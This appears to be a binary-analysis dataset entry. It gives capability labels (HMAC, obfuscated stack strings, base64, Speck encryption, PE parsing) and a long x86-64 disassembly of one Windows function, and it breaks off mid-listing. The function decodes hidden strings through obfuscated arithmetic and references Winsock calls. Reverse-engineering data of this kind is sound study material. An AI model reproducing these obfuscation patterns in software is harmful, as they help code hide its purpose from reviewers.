Function at 0x1400757e0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Encrypt data using speck
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x748]
sub rsp, 0x820
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm10
movaps xmmword [rax - 0x78], xmm11
movaps xmmword [rax - 0x88], xmm12
movaps xmmword [rax - 0x98], xmm13
mov rax, qword [0x1401dc780]
xor rax, rsp
mov qword [rbp + 0x6a8], rax
call fcn.14000e980
cvttss2si r8d, dword [rax + 0xd0]
lea r10, [rbp + 0x6a5]
test r8d, r8d
jns 0x1400758a0
neg r8d
nop dword [rax + rax]
dec r10
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r10], r8b
mov r8d, edx
test edx, edx
jne 0x140075860
dec r10
mov byte [r10], 0x2d
jmp 0x1400758ca
dec r10
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r10], r8b
mov r8d, edx
test edx, edx
jne 0x1400758a0
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x6a5]
mov rdx, r10
lea rcx, [rbp + 0x1f0]
call fcn.140041460
nop
mov byte [rbp + 0x420], 0x23
mov byte [rbp + 0x421], 0xf3
mov byte [rbp + 0x422], 0xc7
mov byte [rbp + 0x423], 0xc6
mov byte [rbp + 0x424], 0xc0
mov byte [rbp + 0x425], 5
mov byte [rbp + 0x426], 0xd6
mov byte [rbp + 0x427], 0xf5
mov byte [rbp + 0x428], 0xc1
mov byte [rbp + 0x429], 0xff
mov byte [rbp + 0x42a], 0xcb
mov byte [rbp + 0x42b], 0xff
mov byte [rbp + 0x42c], 0xc9
mov byte [rbp + 0x42d], reloc.WS2_32.dll_listen
mov byte [rbp + 0x42e], 0xf2
mov byte [rbp + 0x42f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x430], 0x50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x431], xmm0
mov dword [rbp + 0x441], eax
mov word [rbp + 0x445], ax
mov byte [rbp + 0x447], al
movabs rsi, 0xe88b66c35924b10
movabs r12, 0x3da4fc7f0ebdd2d0
movabs r14, 0x789518fd011176f0
movabs r15, 0xfd4b1ffee395d150
movabs r13, 0x82012700c61a2bb0
movzx edi, byte [rsp + 0x50]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x28
jae 0x14007656c
movzx r9d, byte [rbp + r10 + 0x420]
movzx r11d, r9b
nop dword [rax]
cmp rbx, r10
ja 0x140076563
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140075a0c
lea rcx, [r10 + r12]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
add dil, 0x50
jmp 0x140075a46
je 0x1400764ea
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140076454
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140076415
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400763e4
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140076393
movzx r11d, r9b
nop word [rax + rax]
cmp r8, r10
ja 0x14007655a
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x140075a7e
lea rdx, [r10 + rsi]
movzx eax, dl
and al, r9b
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x70
add dil, dl
jmp 0x140075ac0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007636e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140076341
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140076319
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400762f5
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400762bb
nop
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140075ff4
nop dword [rax]
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140075fd5
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140075fb7
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140075f96
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400760af
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140075f7b
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140075f5d
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140075f3e
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14007605f
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140075f0d
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140075ad0
lea rbx, [r8 + 6]
lea r8, [rbx + 0x10]
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14007653d
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140076520
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140075cbf
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140075ca0
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140075c81
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140075eb9
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140075e6a
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140075e29
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140075e02
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140075ad0
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140075dd2
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140075db3
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140075d98
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140075d79
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140075d64
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140075d45
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140075d20
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140075cfc
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140075cde
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140075ad0
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x64]
jmp 0x140075ad0
lea rdx, [r10 + r14]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
jmp 0x140075ac0
lea rdx, [r10 + r15]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x30
add dil, dl
jmp 0x140075a50
lea rdx, [r10 + r13]
movzx eax, r9b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
jmp 0x1400759e0
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x1400763b6
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
inc r8
dec r10
inc r10
jmp 0x1400759c6
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400759c6
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
movzx r11d, r10b
jmp 0x140076276
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
jmp 0x140076438
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007643b
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x14007647b
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400764a7
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
movzx eax, byte [rbp + r10 + 0x420]
add rax, r8
add r10, rax
inc r10
jmp 0x1400759c6
lea ecx, [r10 + 0x70]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x10
mov byte [rbp + r10 + 0x420], dil
inc r10
jmp 0x1400759c6
lea edx, [r10 - 0x30]
movzx eax, r9b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx edx, r10b
cmp r8, 0x28
jb 0x140075e19
sub dl, 0x20
movzx eax, dl
and al, r9b
add al, al
sub dl, al
add dl, r9b
lea edi, [rdx*2 - 0x40]
jmp 0x1400763b6
lea edx, [r10 + 0x30]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x50
add dil, dl
cmp rbx, 0x7a
jae 0x140076256
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x1400761a7
movzx edx, r10b
lea ecx, [rdx - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x140075e47
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [r8 + rbx]
cmp rax, 8
je 0x14007629f
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x1400760cf
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140075e84
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x420]
add rax, r8
add r10, rax
inc r10
jmp 0x1400759c6
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007647b
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x14007643b
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x140076438
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
dec r10
inc r10
jmp 0x1400759c6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
inc r8
dec r10
inc r10
jmp 0x1400759c6
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400763b6
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x14007601c
lea rcx, [r10 + r12]
movzx eax, cl
and al, r9b
mov edx, 0x28
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x140075ed3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140076056
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x420]
add rax, r8
add r10, rax
inc r10
jmp 0x1400759c6
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007607a
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x1400764a7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400760a2
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007647b
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140075ed3
movzx r11d, r10b
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140076273
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400760f7
lea edx, [r10 + 0x30]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x50
add dil, dl
jmp 0x1400763b6
cmp rbx, rcx
jne 0x14007611f
movzx r11d, r10b
lea edx, [r11 + 0x10]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x70
add dil, dl
jmp 0x140076276
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140076144
lea ecx, [r10 + 0x50]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x30
jmp 0x14007643b
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007616c
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007647b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140075e84
lea ecx, [r10 + 0x30]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x50
movzx eax, byte [rbp + r10 + 0x420]
add rax, r8
add r10, rax
inc r10
jmp 0x1400759c6
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400761e1
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x420]
add rax, r8
add r10, rax
inc r10
jmp 0x1400759c6
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140076208
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x14007647b
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007622e
movzx r11d, r10b
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140076273
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140075e43
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
dec r10
inc r10
jmp 0x1400759c6
movzx r11d, r10b
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
add dil, r9b
add r11b, 0x50
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x30
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x420], cl
jmp 0x140076438
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007647b
movabs rcx, 0x6422775b3eeb1db0
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x18
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x420]
add rax, r8
add r10, rax
inc r10
jmp 0x1400759c6
movabs rcx, 0x6d8e855f03f3d270
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
jmp 0x14007647b
movabs rcx, 0xf2448c60e6782cd0
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x28
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x14007643b
movabs rcx, 0x51ca86870899650
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x30
inc r8
dec r10
inc r10
jmp 0x1400759c6
movabs rcx, 0x89d2af6a530df0b0
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x18
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x1400763b6
movabs rcx, 0x933ebd6e1816a570
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
movzx r9d, r11b
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x420], cl
inc r8
dec r10
inc r10
jmp 0x1400759c6
movabs rcx, 0x17f4c46ffa9affd0
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x28
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x1400759c6
movabs rcx, 0xa616d975a2280ef0
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, gethostname
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400759c6
movabs rcx, 0xaf82e7796730c3b0
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, 0x18
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx r9d, r11b
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x420], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x40
add cl, r9b
mov byte [rbp + r10 + 0x420], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x420]
add rax, r8
add r10, rax
inc r10
jmp 0x1400759c6
movabs rcx, 0xb8eef57d2c397870
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
movzx eax, byte [rbp + r10 + 0x420]
add rax, r8
add r10, rax
inc r10
jmp 0x1400759c6
add r10b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
jmp 0x1400759c3
add r10b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
jmp 0x1400759b3
lea rdi, [rbp + 0x149a7e0]
jmp 0x140076573
lea rdi, [rbp + 0x477ab0]
jmp 0x140076573
lea rdi, [rbp + 0x420]
mov rbx, 0xffffffffffffffff
nop word [rax + rax]
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140076580
mov r8, qword [rbp + 0x200]
mov rcx, qword [rbp + 0x208]
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x140076627
lea rax, [r8 + rbx]
mov qword [rbp + 0x200], rax
lea rsi, [rbp + 0x1f0]
cmp rcx, 0xf
cmova rsi, qword [rbp + 0x1f0]
lea rax, [rdi + rbx]
cmp rax, rsi
jbe 0x1400765e8
lea rax, [rsi + r8]
cmp rdi, rax
ja 0x1400765e8
cmp rsi, rdi
ja 0x1400765e0
xor r14d, r14d
jmp 0x1400765eb
mov r14, rsi
sub r14, rdi
jmp 0x1400765eb
mov r14, rbx
inc r8
lea rcx, [rsi + rbx]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
mov rdx, rdi
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rbx
sub r8, r14
lea rdx, [rdi + r14]
add rdx, rbx
lea rcx, [rsi + r14]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x1f0]
jmp 0x140076649
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdi
xor r9d, r9d
movzx r8d, byte [rsp + 0x50]
mov rdx, rbx
lea rcx, [rbp + 0x1f0]
call fcn.1400430e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x220], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x220], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rcx, qword [rbp + 0x220]
mov rdx, qword [rbp + 0x228]
mov rax, rdx
sub rax, rcx
cmp rax, 4
jb 0x1400766d3
lea rax, [rcx + 4]
mov qword [rbp + 0x220], rax
lea rax, [rbp + 0x210]
cmp rdx, 0xf
cmova rax, qword [rbp + 0x210]
mov dword [rax + rcx], 0x53504620
mov byte [rax + rcx + 4], 0
lea rax, [rbp + 0x210]
jmp 0x1400766fa
mov qword [rsp + 0x20], 4
lea r9, str._FPS
movzx r8d, byte [rsp + 0x50]
mov edx, 4
lea rcx, [rbp + 0x210]
call fcn.140042bd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x670], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x680], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x670], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x680], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 0xf
jbe 0x14007677b
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140076776
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140076776
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013c8c8
movdqa xmm0, xmmword [0x140148f00]
movdqu xmmword [rbp + 0x220], xmm0
mov byte [rbp + 0x210], 0
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x1400767d6
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400767d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400767d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013c8c8
movdqa xmm0, xmmword [0x140148f00]
movdqu xmmword [rbp + 0x200], xmm0
mov byte [rbp + 0x1f0], 0
call fcn.14000e330
mov rsi, rax
lea rdi, [rbp + 0x670]
cmp qword [rbp + 0x688], 0xf
cmova rdi, qword [rbp + 0x670]
movaps xmm0, xmmword [0x140144460]
movups xmmword [rbp + 0xd0], xmm0
lea rcx, [rbp + 0xd0]
call fcn.14000bc40
mov ebx, eax
movss xmm13, dword [0x1401443cc]
mov dword [rsp + 0x54], 0x41200000
mov dword [rsp + 0x58], 0x41200000
call fcn.14000e620
mov qword [rsp + 0x40], 0
xorps xmm10, xmm10
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
lea r9, [rsp + 0x54]
movss xmm6, dword [0x1401482e8]
movaps xmm2, xmm6
mov rdx, rax
mov rcx, rsi
call fcn.140022450
call fcn.14000e330
mov qword [rsp + 0x68], rax
mov byte [rbp + 0x450], WSACleanup
mov byte [rbp + 0x451], 0x48
mov byte [rbp + 0x452], 0x50
mov byte [rbp + 0x453], 0x56
mov byte [rbp + 0x454], 0x80
mov byte [rbp + 0x455], 0x7e
mov byte [rbp + 0x456], 0x43
mov byte [rbp + 0x457], 0x2e
mov byte [rbp + 0x458], 0x84
mov byte [rbp + 0x459], 0x98
mov byte [rbp + 0x45a], 0x78
mov byte [rbp + 0x45b], 0x9b
mov byte [rbp + 0x45c], 0x61
mov byte [rbp + 0x45d], 0x4b
mov byte [rbp + 0x45e], 0x49
mov byte [rbp + 0x45f], 0x5a
mov byte [rbp + 0x460], 0x4a
mov byte [rbp + 0x461], 0x49
mov byte [rbp + 0x462], 0xb2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x463], xmm0
mov word [rbp + 0x473], ax
mov byte [rbp + 0x475], al
movzx edi, byte [rsp + 0x50]
movabs rsi, 0x1c4d1b42423050e6
nop
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r12d, r12d
cmp r12, 0x26
jae 0x1400772e1
movzx r10d, byte [rbp + r12 + 0x450]
mov edx, r10d
mov qword [rsp + 0x60], rdx
nop
cmp rbx, r12
ja 0x1400772d8
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007699c
lea rcx, [r12 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x4a
jmp 0x1400769c9
je 0x140077248
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400771c6
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007715e
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007710a
movzx r9d, r12b
nop dword [rax]
movzx r14d, r9b
movzx r11d, r9b
movzx r13d, r9b
cmp r8, r12
ja 0x1400772cf
lea rsi, [r8 + 1]
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x140076a12
lea ecx, [r9 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x12
lea rcx, [r8 + 2]
lea r15, [r8 + 3]
jmp 0x140076a50
cmp rbx, rsi
je 0x1400770ed
lea rcx, [r8 + 2]
cmp rbx, rcx
je 0x1400770bd
lea r15, [r8 + 3]
cmp rbx, r15
je 0x1400770a0
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140077080
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140077063
nop
lea rdx, [r8 + rbx]
cmp rdx, r12
jbe 0x140076d05
nop dword [rax]
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140076ce5
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140076cb5
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140076c85
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140076c68
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140076c4b
lea rbx, [r8 + 9]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400772af
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140077288
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140076b5c
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140076b3d
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140076c07
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140076be7
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140076bc7
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140076ba8
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140076b88
lea rbx, [r8 + 3]
lea r8, [rbx + 5]
jmp 0x140076a60
lea edx, [r9 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400769d0
add r9b, 0x4a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 6
mov rdx, qword [rsp + 0x60]
movabs rsi, 0x1c4d1b42423050e6
jmp 0x140076970
sub r14b, 0xc
movzx eax, r10b
and al, r14b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r14b
jmp 0x1400771a3
lea edx, [r14 + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x18
add dil, dl
jmp 0x1400771e9
add r14b, 0x5c
movzx eax, r10b
and al, r14b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r14b
jmp 0x140077217
sub r14b, 0x70
movzx eax, r14b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r14b
add dil, r10b
jmp 0x140077267
lea edx, [r14 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 2
jb 0x140077011
lea ecx, [r14 - 0x5c]
movzx eax, cl
and al, r10b
mov edx, 2
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140077124
add r11b, 4
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x1c
jmp 0x1400771a0
add r11b, 0x38
movzx eax, r11b
